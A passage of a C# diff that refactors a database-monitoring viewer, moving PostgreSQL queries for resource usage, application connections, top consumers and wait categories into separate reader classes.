-       them is lossless. Each swap throws if it matches nothing, so editing the SQL without updating the
-       matching fragment fails loudly instead of silently leaving the panel on raw. */
-
-    /// <summary>The database-grain CTE in <see cref="DatabaseResourceUsageSql"/>, verbatim.</summary>
-    private const string WorkloadCteRaw = $"""
-        database_name,
-        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
-        SUM(delta_logical_reads) AS logical_reads,
-        SUM(delta_physical_reads) AS physical_reads,
-        SUM(delta_logical_writes) AS logical_writes,
-        SUM(delta_execution_count) AS execution_count
-    FROM v_query_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_worker_time IS NOT NULL
-    AND   {TimescaleSupport.IntervalHonestSourceFilter}
-    GROUP BY database_name
-""";
-
-    /// <summary>
-    /// The same CTE over the per-database rollup. This is the ONE reader that needs
-    /// <c>query_stats_db_hourly</c>: it sums the I/O columns, which the query-grain aggregate does not carry.
-    /// The rollup already applies the same <c>delta_worker_time IS NOT NULL</c> filter, so it is dropped here.
-    /// <paramref name="relationSql"/> is the FROM-clause item (#3653 A6): either <c>collect.&lt;relation&gt; AS f</c>
-    /// unchanged, or <see cref="RollupCoverage.StitchedRelationSql"/>'s stitched form when a successor applies —
-    /// either way the alias is <c>f</c>, so the rest of the CTE reads through it unqualified exactly as before.
-    /// </summary>
-    private static string WorkloadCteForCagg(string relationSql) => $"""
-        database_name,
-        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,
-        SUM(logical_reads_sum) AS logical_reads,
-        SUM(physical_reads_sum) AS physical_reads,
-        SUM(logical_writes_sum) AS logical_writes,
-        SUM(execution_count_sum) AS execution_count
-    FROM {relationSql}
-    WHERE server_id = $1
-    AND   bucket >= $2
-    GROUP BY database_name
-""";
-
-    /// <summary>The CPU/execution CTE shared by both top-consumer queries, verbatim.</summary>
-    private const string ConsumerCteRaw = $"""
-        database_name,
-        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
-        SUM(delta_execution_count) AS execution_count
-    FROM v_query_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_worker_time IS NOT NULL
-    AND   {TimescaleSupport.IntervalHonestSourceFilter}
-    GROUP BY database_name
-""";
-
-    /// <summary>
-    /// The same CTE over the QUERY-grain rollup — these two need only CPU and executions, both of which
-    /// <c>query_stats_hourly</c> already carries, so they route without the per-database aggregate.
-    /// <paramref name="relationSql"/> is the FROM-clause item (#3653 A6) — see <see cref="WorkloadCteForCagg"/>.
-    /// </summary>
-    private static string ConsumerCteForCagg(string relationSql) => $"""
-        database_name,
-        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,
-        SUM(execution_count_sum) AS execution_count
-    FROM {relationSql}
-    WHERE server_id = $1
-    AND   bucket >= $2
-    GROUP BY database_name
-""";
-
-    private static string RouteOrThrow(string sql, string from, string to, string what)
-    {
-        var routed = sql.Replace(from, to, StringComparison.Ordinal);
-        if (string.Equals(routed, sql, StringComparison.Ordinal))
-        {
-            throw new InvalidOperationException(
-                $"FinOps {what} CAGG routing found nothing to replace — its raw fragment has drifted from the SQL (#1661).");
-        }
-
-        return routed;
-    }
-
-    /// <summary>Database resource usage for <paramref name="tier"/>. Raw returns the constant untouched. The
-    /// one-argument form reads the legacy relation for that tier, unstitched (<see cref="RollupCoverage.Unknown"/>
-    /// carries <see cref="RollupAvailability.None"/>, so <see cref="RollupCoverage.StitchedRelationSql"/> names
-    /// the legacy alone — the same bytes as before #3653 A6 routed this through the builder); the callers below
-    /// pass the coverage/window they resolved so a successor can be stitched in instead.</summary>
+    /// <inheritdoc cref="DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSqlFor(RetentionTier)"/>
     public static string DatabaseResourceUsageSqlFor(RetentionTier tier) =>
-        DatabaseResourceUsageSqlFor(tier, RollupCoverage.Unknown, DateTime.MinValue);
+        DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSqlFor(tier);
 
-    /// <summary>
-    /// <see cref="DatabaseResourceUsageSqlFor(RetentionTier)"/> over the relation <paramref name="coverage"/>
-    /// resolves for <paramref name="windowStartUtc"/> (#3653 A6): <see cref="RollupCoverage.StitchedRelationSql"/>
-    /// stitches the legacy <c>query_stats_db_hourly</c>/<c>query_stats_db_daily</c> to its interval-honest
-    /// successor at the successor's floor (F for hourly, F_d for daily), or names the legacy alone where there is
-    /// no successor — the SAME single-relation text the one-argument overload builds, with an <c>AS f</c> alias
-    /// the stitch needs (harmless: neither CTE qualifies a column, so the alias changes no result). The tier
-    /// CHOICE stays on the legacy pair; only the relation within the chosen tier can stitch.
-    /// </summary>
+    /// <inheritdoc cref="DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSqlFor(RetentionTier, RollupCoverage, DateTime)"/>
     public static string DatabaseResourceUsageSqlFor(RetentionTier tier, RollupCoverage coverage, DateTime windowStartUtc) =>
-        tier == RetentionTier.Raw
-            ? DatabaseResourceUsageSql
-            : RouteOrThrow(
-                DatabaseResourceUsageSql,
-                WorkloadCteRaw,
-                WorkloadCteForCagg(tier == RetentionTier.Hourly
-                    ? coverage.StitchedRelationSql(TimescaleSupport.QueryStatsDbHourlyView, "f", windowStartUtc, RollupCoverage.StitchTier.Hourly)
-                    : coverage.StitchedRelationSql(TimescaleSupport.QueryStatsDbDailyView, "f", windowStartUtc, RollupCoverage.StitchTier.Daily)),
-                "database resource usage");
+        DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSqlFor(tier, coverage, windowStartUtc);
 
-    /// <summary>Top consumers (by total AND by average — one statement, #4227) for <paramref name="tier"/>,
-    /// over the legacy relation for that tier, unstitched (see <see cref="DatabaseResourceUsageSqlFor(RetentionTier)"/>
-    /// for why routing this through the stitch builder with <see cref="RollupCoverage.Unknown"/> reproduces that).</summary>
+    /// <inheritdoc cref="DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSqlFor(RetentionTier)"/>
     public static string TopResourceConsumersSqlFor(RetentionTier tier) =>
-        TopResourceConsumersSqlFor(tier, RollupCoverage.Unknown, DateTime.MinValue);
+        DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSqlFor(tier);
 
-    /// <summary>Top consumers (by total and by average) over the stitched relation (#3653 A6) — see
-    /// <see cref="DatabaseResourceUsageSqlFor(RetentionTier, RollupCoverage, DateTime)"/>. The I/O side
-    /// (<c>v_file_io_stats</c>) has no rollup and is never routed, on either tier — unchanged from before #4227
-    /// merged the two statements.</summary>
+    /// <inheritdoc cref="DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSqlFor(RetentionTier, RollupCoverage, DateTime)"/>
     public static string TopResourceConsumersSqlFor(RetentionTier tier, RollupCoverage coverage, DateTime windowStartUtc) =>
-        tier == RetentionTier.Raw
-            ? TopResourceConsumersSql
-            : RouteOrThrow(
-                TopResourceConsumersSql,
-                ConsumerCteRaw,
-                ConsumerCteForCagg(tier == RetentionTier.Hourly
-                    ? coverage.StitchedRelationSql(TimescaleSupport.QueryStatsHourlyView, "f", windowStartUtc, RollupCoverage.StitchTier.Hourly)
-                    : coverage.StitchedRelationSql(TimescaleSupport.QueryStatsDailyView, "f", windowStartUtc, RollupCoverage.StitchTier.Daily)),
-                "top consumers");
-
-    public const string DatabaseResourceUsageSql = $@"
-WITH workload AS (
-    SELECT
-        database_name,
-        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
-        SUM(delta_logical_reads) AS logical_reads,
-        SUM(delta_physical_reads) AS physical_reads,
-        SUM(delta_logical_writes) AS logical_writes,
-        SUM(delta_execution_count) AS execution_count
-    FROM v_query_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_worker_time IS NOT NULL
-    AND   {TimescaleSupport.IntervalHonestSourceFilter}
-    GROUP BY database_name
-),
-io AS (
-    SELECT
-        database_name,
-        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,
-        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,
-        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms
-    FROM v_file_io_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_read_bytes IS NOT NULL
-    GROUP BY database_name
-),
-combined AS (
-    SELECT
-        COALESCE(w.database_name, i.database_name) AS database_name,
-        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,
-        COALESCE(w.logical_reads, 0) AS logical_reads,
-        COALESCE(w.physical_reads, 0) AS physical_reads,
-        COALESCE(w.logical_writes, 0) AS logical_writes,
-        COALESCE(w.execution_count, 0) AS execution_count,
-        COALESCE(i.io_read_mb, 0) AS io_read_mb,
-        COALESCE(i.io_write_mb, 0) AS io_write_mb,
-        COALESCE(i.io_stall_ms, 0) AS io_stall_ms
-    FROM workload w
-    FULL JOIN io i ON i.database_name = w.database_name
-),
-totals AS (
-    SELECT
-        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,
-        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io
-    FROM combined
-)
-SELECT
-    c.database_name,
-    c.cpu_time_ms,
-    c.logical_reads,
-    c.physical_reads,
-    c.logical_writes,
-    c.execution_count,
-    CAST(c.io_read_mb AS DECIMAL(19,2)),
-    CAST(c.io_write_mb AS DECIMAL(19,2)),
-    c.io_stall_ms,
-    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,
-    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share
-FROM combined c
-CROSS JOIN totals t
-WHERE c.database_name IS NOT NULL
-ORDER BY c.cpu_time_ms DESC";
+        DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSqlFor(tier, coverage, windowStartUtc);
 
+    /* The window start is taken BEFORE the rollup probe; the reader resolves the tier AFTER it (its own clock read), as before the move. */
     public async Task<List<DatabaseResourceUsageRow>> GetDatabaseResourceUsageAsync(int serverId, int hoursBack = 24, CancellationToken cancellationToken = default)
     {
         var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
         var (rollups, coverage) = await GetRollupAvailabilityAsync(cancellationToken);
-        var tier = RetentionTierRouter.Resolve(
-            DateTime.UtcNow, cutoff, rollups.DbGrainHourly, rollups.DbGrainDaily,
-            coverage.For(TimescaleSupport.QueryStatsDbHourlyView, TimescaleSupport.QueryStatsDbDailyView));
-
-        /* #3653 (Q12): tier over the legacy pair above; the hourly relation by the supply rule. */
-        await using var command = _dataSource.CreateCommand(DatabaseResourceUsageSqlFor(tier, coverage, cutoff));
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<DatabaseResourceUsageRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new DatabaseResourceUsageRow
-            {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                CpuTimeMs = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1)),
-                LogicalReads = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2)),
-                PhysicalReads = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
-                LogicalWrites = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
-                ExecutionCount = reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
-                IoReadMb = reader.IsDBNull(6) ? 0m : Convert.ToDecimal(reader.GetValue(6)),
-                IoWriteMb = reader.IsDBNull(7) ? 0m : Convert.ToDecimal(reader.GetValue(7)),
-                IoStallMs = reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
-                PctCpuShare = reader.IsDBNull(9) ? 0m : Convert.ToDecimal(reader.GetValue(9)),
-                PctIoShare = reader.IsDBNull(10) ? 0m : Convert.ToDecimal(reader.GetValue(10))
-            });
-        }
-        return items;
+        var items = await DarlingFinOpsDatabaseResourcesReader.GetDatabaseResourceUsageAsync(
+            _dataSource, serverId, rollups, coverage, cutoff, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return items.ConvertAll(DatabaseResourceUsageRow.From);
     }
 
     /// <summary>
     /// Per-application connection counts plus the collected per-app resource + session-status metrics from
     /// session_stats (last 24h). AVG/MAX over the window for connection/running/sleeping/dormant counts and
     /// CPU/reads/writes/logical-reads (the resource columns are nullable, so AVG/MAX yield NULL until populated).
-    /// $1 server_id, $2 cutoff.
+    /// The SQL lives in <see cref="DarlingFinOpsApplicationConnectionsReader"/>. $1 server_id, $2 cutoff.
     /// </summary>
-    public const string ApplicationConnectionsSql = @"
-SELECT
-    program_name,
-    CAST(AVG(connection_count) AS INTEGER) AS avg_connections,
-    MAX(connection_count) AS max_connections,
-    CAST(AVG(running_count) AS INTEGER) AS avg_running,
-    MAX(running_count) AS max_running,
-    CAST(AVG(sleeping_count) AS INTEGER) AS avg_sleeping,
-    MAX(sleeping_count) AS max_sleeping,
-    CAST(AVG(dormant_count) AS INTEGER) AS avg_dormant,
-    MAX(dormant_count) AS max_dormant,
-    CAST(AVG(total_cpu_time_ms) AS BIGINT) AS avg_cpu_time_ms,
-    MAX(total_cpu_time_ms) AS max_cpu_time_ms,
-    CAST(AVG(total_reads) AS BIGINT) AS avg_reads,
-    MAX(total_reads) AS max_reads,
-    CAST(AVG(total_writes) AS BIGINT) AS avg_writes,
-    MAX(total_writes) AS max_writes,
-    CAST(AVG(total_logical_reads) AS BIGINT) AS avg_logical_reads,
-    MAX(total_logical_reads) AS max_logical_reads,
-    COUNT(*) AS sample_count,
-    MIN(collection_time) AS first_seen,
-    MAX(collection_time) AS last_seen
-FROM v_session_stats
-WHERE server_id = $1
-AND   collection_time >= $2
-GROUP BY program_name
-ORDER BY max_connections DESC";
+    public const string ApplicationConnectionsSql = DarlingFinOpsApplicationConnectionsReader.ApplicationConnectionsSql;
 
     public async Task<List<ApplicationConnectionRow>> GetApplicationConnectionsAsync(int serverId, CancellationToken cancellationToken = default)
     {
@@ -305,309 +76,44 @@ server it was opened for. */
         var clock = ViewerTimeHelper.ClockForServerOrMachine(
             await GetServerClocksAsync(serverId, cancellationToken), serverId, TimeZoneInfo.Local, DateTime.UtcNow);
 
-        await using var command = _dataSource.CreateCommand(ApplicationConnectionsSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<ApplicationConnectionRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new ApplicationConnectionRow
-            {
-                ApplicationName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                AvgConnections = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
-                MaxConnections = reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2)),
-                AvgRunning = reader.IsDBNull(3) ? 0 : Convert.ToInt32(reader.GetValue(3)),
-                MaxRunning = reader.IsDBNull(4) ? 0 : Convert.ToInt32(reader.GetValue(4)),
-                AvgSleeping = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
-                MaxSleeping = reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
-                AvgDormant = reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7)),
-                MaxDormant = reader.IsDBNull(8) ? 0 : Convert.ToInt32(reader.GetValue(8)),
-                AvgCpuTimeMs = reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
-                MaxCpuTimeMs = reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
-                AvgReads = reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
-                MaxReads = reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
-                AvgWrites = reader.IsDBNull(13) ? 0L : Convert.ToInt64(reader.GetValue(13)),
-                MaxWrites = reader.IsDBNull(14) ? 0L : Convert.ToInt64(reader.GetValue(14)),
-                AvgLogicalReads = reader.IsDBNull(15) ? 0L : Convert.ToInt64(reader.GetValue(15)),
-                MaxLogicalReads = reader.IsDBNull(16) ? 0L : Convert.ToInt64(reader.GetValue(16)),
-                SampleCount = reader.IsDBNull(17) ? 0 : Convert.ToInt64(reader.GetValue(17)),
-                FirstSeenLocal = ViewerTimeHelper.ConvertToDisplay(reader.GetDateTime(18), ViewerTimeHelper.CurrentDisplayMode, clock),
-                LastSeenLocal = ViewerTimeHelper.ConvertToDisplay(reader.GetDateTime(19), ViewerTimeHelper.CurrentDisplayMode, clock),
-                /* #4766: the UTC instants too, so the columns' text can name the offset in the repeated autumn hour. */
-                FirstSeenUtc = reader.GetDateTime(18),
-                LastSeenUtc = reader.GetDateTime(19),
-                Clock = clock
-            });
-        }
-        return items;
+        var items = await DarlingFinOpsApplicationConnectionsReader.GetApplicationConnectionsAsync(
+            _dataSource, serverId, cutoff, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return items.ConvertAll(d => ApplicationConnectionRow.From(d, clock));
     }
 
     /// <summary>
-    /// Top databases by total CPU AND by average CPU per execution for the Utilization summary — ONE pass
-    /// over query_stats/file_io_stats feeding BOTH grids (#4227; the two statements this replaced each
-    /// aggregated the same 24h of raw query_stats independently, ~27k buffers apiece). $1 server_id, $2 cutoff.
-    /// Returns every database with a workload or an I/O row in the window, not just the topN of either
-    /// ordering — <see cref="GetTopResourceConsumersAsync"/> ranks and slices both grids from this one row set,
-    /// since a single statement can only LIMIT one ordering and the two grids rank by different columns.
-    ///
-    /// <para>Deliberately does NOT filter out a NULL database_name (an unattributed query_stats row) here.
-    /// The old ByTotal statement did (<c>WHERE c.database_name IS NOT NULL</c>); the old ByAvg statement never
-    /// did. Baking either rule in would apply it to both grids, so the NULL-name filter is applied client-side,
-    /// per grid, in <see cref="GetTopResourceConsumersAsync"/> instead.</para>
+    /// Top databases by total CPU AND by average CPU per execution for the Utilization summary — one pass feeding both
+    /// grids (#4227). The SQL lives in <see cref="DarlingFinOpsDatabaseResourcesReader"/>. $1 server_id, $2 cutoff.
     /// </summary>
-    public const string TopResourceConsumersSql = $@"
-WITH workload AS (
-    SELECT
-        database_name,
-        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,
-        SUM(delta_execution_count) AS execution_count
-    FROM v_query_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_worker_time IS NOT NULL
-    AND   {TimescaleSupport.IntervalHonestSourceFilter}
-    GROUP BY database_name
-),
-io AS (
-    SELECT
-        database_name,
-        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb
-    FROM v_file_io_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_read_bytes IS NOT NULL
-    GROUP BY database_name
-),
-combined AS (
-    SELECT
-        COALESCE(w.database_name, i.database_name) AS database_name,
-        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,
-        COALESCE(w.execution_count, 0) AS execution_count,
-        COALESCE(i.io_total_mb, 0) AS io_total_mb
-    FROM workload w
-    FULL JOIN io i ON i.database_name = w.database_name
-),
-totals AS (
-    SELECT
-        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,
-        NULLIF(SUM(io_total_mb), 0) AS total_io
-    FROM combined
-)
-SELECT
-    c.database_name,
-    c.cpu_time_ms,
-    c.execution_count,
-    CAST(c.io_total_mb AS DECIMAL(19,2)),
-    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),
-    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),
-    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,
-    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END
-FROM combined c
-CROSS JOIN totals t
-ORDER BY c.database_name";
+    public const string TopResourceConsumersSql = DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSql;
 
     /// <summary>
-    /// Both top-consumer grids from the one <see cref="TopResourceConsumersSql"/> round trip. Column 6
-    /// (avg_cpu_ms) is NULL exactly when execution_count = 0, which is the old ByAvg statement's
-    /// <c>HAVING SUM(delta_execution_count) > 0</c> restated as a per-row test instead of a group filter — the
-    /// same rows survive either way, since HAVING on an aggregate is equivalent to filtering the already-grouped
-    /// result on that same aggregate.
+    /// Both top-consumer grids from the one <see cref="TopResourceConsumersSql"/> round trip, ranked and sliced to
+    /// <paramref name="topN"/> by <see cref="DarlingFinOpsDatabaseResourcesReader.GetTopResourceConsumersAsync"/>.
     /// </summary>
     public async Task<(List<TopResourceConsumerRow> ByTotal, List<TopResourceConsumerRow> ByAvg)> GetTopResourceConsumersAsync(int serverId, int hoursBack = 24, int topN = 5, CancellationToken cancellationToken = default)
     {
         var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
         var (rollups, coverage) = await GetRollupAvailabilityAsync(cancellationToken);
-        var tier = RetentionTierRouter.Resolve(
-            DateTime.UtcNow, cutoff, rollups.QueryGrainHourly, rollups.QueryGrainDaily,
-            coverage.For(TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsDailyView));
-
-        /* #3653 (Q12): tier over the legacy pair above; the hourly relation by the supply rule. */
-        await using var command = _dataSource.CreateCommand(TopResourceConsumersSqlFor(tier, coverage, cutoff));
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var totalCandidates = new List<TopResourceConsumerRow>();
-        var avgCandidates = new List<TopResourceConsumerRow>();
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            var dbNameIsNull = reader.IsDBNull(0);
-            var dbName = dbNameIsNull ? "" : reader.GetString(0);
-            var cpuTimeMs = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1));
-            var executionCount = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2));
-            var ioTotalMb = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3));
-
-            /* The ByTotal grid has always excluded an unattributed (NULL) database_name — the old
-               TopResourceConsumersByTotalSql's WHERE c.database_name IS NOT NULL. */
-            if (!dbNameIsNull)
-            {
-                totalCandidates.Add(new TopResourceConsumerRow
-                {
-                    DatabaseName = dbName,
-                    CpuTimeMs = cpuTimeMs,
-                    ExecutionCount = executionCount,
-                    IoTotalMb = ioTotalMb,
-                    PctCpu = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
-                    PctIo = reader.IsDBNull(5) ? 0m : Convert.ToDecimal(reader.GetValue(5))
-                });
-            }
-
-            /* The ByAvg grid never filtered a NULL database_name, only a zero-execution one; avg_cpu_ms is
-               NULL exactly for those, so testing it here reproduces the old HAVING. */
-            if (!reader.IsDBNull(6))
-            {
-                avgCandidates.Add(new TopResourceConsumerRow
-                {
-                    DatabaseName = dbName,
-                    CpuTimeMs = Convert.ToInt64(reader.GetValue(6)),
-                    ExecutionCount = executionCount,
-                    IoTotalMb = ioTotalMb,
-                    TotalCpuTimeMs = cpuTimeMs,
-                    AvgIoMb = reader.IsDBNull(7) ? 0m : Convert.ToDecimal(reader.GetValue(7))
-                });
-            }
-        }
-
-        /* Both grids were "ORDER BY <metric> DESC LIMIT $3" in SQL; ranking moves here so the one row set can
-           feed both orderings. OrderByDescending is a stable sort, so a tie now breaks by the shared
-           statement's ORDER BY c.database_name — deterministic, where the old per-grid statements left a
-           tie's order to whichever plan Postgres picked (never a documented contract, and cpu_time_ms /
-           avg_cpu_ms are sums of independent per-database deltas, so an exact tie is not expected in practice). */
-        var byTotal = totalCandidates.OrderByDescending(r => r.CpuTimeMs).Take(topN).ToList();
-        var byAvg = avgCandidates.OrderByDescending(r => r.CpuTimeMs).Take(topN).ToList();
-
-        return (byTotal, byAvg);
+        var (byTotal, byAvg) = await DarlingFinOpsDatabaseResourcesReader.GetTopResourceConsumersAsync(
+            _dataSource, serverId, rollups, coverage, cutoff, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, topN, cancellationToken);
+        return (byTotal.Select(TopResourceConsumerRow.From).ToList(), byAvg.Select(TopResourceConsumerRow.From).ToList());
     }
 
-    /// <summary>Wait stats grouped by cost category over the window. A wait stored with and without the trailing
-    /// space the collector trimmed from #4884 on is one wait, with its summed time, when the category's top wait is
-    /// picked: <c>per_spelling</c> sums per stored name, <c>per_wait</c> merges the spellings on
-    /// <c>rtrim(wait_type)</c> (once per group, not per row), and the category is read from the clean name, so both
-    /// spellings always land in the same category. $1 server_id, $2 cutoff.</summary>
-    public const string WaitCategorySummarySql = @"
-WITH per_spelling AS (
-    SELECT
-        wait_type,
-        SUM(delta_wait_time_ms) AS wait_time_ms,
-        SUM(delta_waiting_tasks) AS waiting_tasks
-    FROM v_wait_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_wait_time_ms IS NOT NULL
-    AND   delta_wait_time_ms > 0
-    GROUP BY wait_type
-),
-per_wait AS (
-    SELECT
-        rtrim(wait_type) AS wait_type,
-        SUM(wait_time_ms) AS wait_time_ms,
-        SUM(waiting_tasks) AS waiting_tasks
-    FROM per_spelling
-    GROUP BY rtrim(wait_type)
-),
-categorized AS (
-    SELECT
-        CASE
-            WHEN wait_type IN ('SOS_SCHEDULER_YIELD', 'CXPACKET', 'CXCONSUMER', 'CXSYNC_PORT', 'CXSYNC_CONSUMER') THEN 'CPU'
-            WHEN wait_type ILIKE 'PAGEIOLATCH%'
-            OR   wait_type IN ('WRITELOG', 'IO_COMPLETION', 'ASYNC_IO_COMPLETION') THEN 'Storage'
-            WHEN wait_type IN ('RESOURCE_SEMAPHORE', 'RESOURCE_SEMAPHORE_QUERY_COMPILE', 'CMEMTHREAD') THEN 'Memory'
-            WHEN wait_type = 'ASYNC_NETWORK_IO' THEN 'Network'
-            WHEN wait_type ILIKE 'LCK_M_%' THEN 'Locks'
-            ELSE 'Other'
-        END AS category,
-        wait_type,
-        wait_time_ms,
-        waiting_tasks
-    FROM per_wait
-),
-ranked AS (
-    SELECT
-        *,
-        ROW_NUMBER() OVER (PARTITION BY category ORDER BY wait_time_ms DESC) AS rn
-    FROM categorized
-),
-by_category AS (
-    SELECT
-        category,
-        SUM(wait_time_ms) AS total_wait_time_ms,
-        SUM(waiting_tasks) AS total_waiting_tasks,
-        MAX(CASE WHEN rn = 1 THEN wait_type END) AS top_wait_type,
-        MAX(CASE WHEN rn = 1 THEN wait_time_ms END) AS top_wait_time_ms
-    FROM ranked
-    GROUP BY category
-),
-grand_total AS (
-    SELECT NULLIF(SUM(total_wait_time_ms), 0) AS total
-    FROM by_category
-)
-SELECT
-    bc.category,
-    bc.total_wait_time_ms,
-    bc.total_waiting_tasks,
-    CAST(bc.total_wait_time_ms * 100.0 / gt.total AS DECIMAL(5,1)),
-    bc.top_wait_type,
-    bc.top_wait_time_ms
-FROM by_category bc
-CROSS JOIN grand_total gt
-ORDER BY bc.total_wait_time_ms DESC";
+    /// <summary>The wait-category summary's SQL; lives in <see cref="DarlingFinOpsOptimizationReader"/>.</summary>
+    public const string WaitCategorySummarySql = DarlingFinOpsOptimizationReader.WaitCategorySummarySql;
 
     public async Task<List<WaitCategorySummaryRow>> GetWaitCategorySummaryAsync(int serverId, int hoursBack = 24, CancellationToken cancellationToken = default)
     {
         var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
 
-        await using var command = _dataSource.CreateCommand(WaitCategorySummarySql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<WaitCategorySummaryRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new WaitCategorySummaryRow
-            {
-                Category = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                TotalWaitTimeMs = reader.IsDBNull(1) ? 0 : Convert.ToInt64(reader.GetValue(1)),
-                WaitingTasks = reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
-                PctOfTotal = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
-                TopWaitType = reader.IsDBNull(4) ? "" : reader.GetString(4),
-                TopWaitTimeMs = reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5))
-            });
-        }
-        return items;
+        var rows = await DarlingFinOpsOptimizationReader.GetWaitCategorySummaryAsync(
+            _dataSource, serverId, cutoff, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return rows.Select(WaitCategorySummaryRow.From).ToList();
     }
 
-    /// <summary>Top-N most expensive queries by total CPU over the window. $1 server_id, $2 cutoff, $3 topN.</summary>
-    public const string ExpensiveQueriesSql = $@"
-SELECT
